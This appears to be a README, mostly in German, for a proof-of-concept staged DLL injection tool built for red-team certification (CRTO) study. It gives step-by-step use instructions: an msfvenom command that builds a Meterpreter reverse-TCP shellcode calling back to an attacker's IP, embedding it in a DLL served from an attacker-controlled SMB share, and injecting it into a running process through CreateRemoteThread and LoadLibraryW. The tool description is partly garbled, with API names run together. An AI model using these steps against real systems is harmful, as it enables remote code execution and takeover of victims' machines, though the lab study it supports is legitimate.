
Proof-of-Concept für gestaffelte DLL-Injektion, geschrieben in C unter Verwendung von Win32-APIs — entwickelt in einer isolierten Laborumgebung für das Studium der Red-Team-Zertifizierung (CRTO).
Proof-of-Concept für gestaffelte DLL-Injektion in C mit Win32-APIs – entwickelt in einer isolierten Laborumgebung für das Studium der Red-Team-Zertifizierung (CRTO).
⚠️ Haftungsausschluss: Dieses Projekt wurde ausschließlich in einer isolierten Laborumgebung zu Bildungszwecken im Rahmen der Offensive-Security-Forschung und des Zertifizierungsstudiums (CRTO) entwickelt. Es ist nicht für die Verwendung gegen Systeme ohne ausdrückliche schriftliche Genehmigung vorgesehen. Die unbefugte Nutzung ist illegal und unethisch.
Eine Proof-of-Concept-Implementierung der gestaffelten DLL-Injektion unter Windows, erstellt im Rahmen von Red-Team-Zertifizierungsstudien. Dieses Projekt demonstriert, wie ein Stager eine bösartige DLL mithilfe nativer Win32-APIs remote in einen Zielprozess laden kann. Funktioniert am besten in einer AD-Umgebung, die SMB-Verkehr im internen Netzwerk zulässt; für die Nutzung über das Internet nicht empfohlen.
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcessVirtualAllocLoadLibraryW aus Kernel32 abCreateRemoteThread, der LoadLibraryW aufruft und die DLL von einer entfernten SMB-Freigabe lädtmaindll.dll)DllMain wird automatisch bei DLL_PROCESS_ATTACH ausgelöstVirtualAllocCreateThread ausphc.exe → Öffnet Zielprozess → Allokiert Speicher im Zielprozess → Lädt maindll.dll von SMB-Freigabe über LoadLibraryW → DllMain wird ausgelöst → Shellcode wird im Zielprozess ausgeführt
CreateRemoteThread + LoadLibraryWDllMainGetestet unter Windows 10 in einer isolierten Laborumgebung. C2-Listener gehostet auf Kali Linux.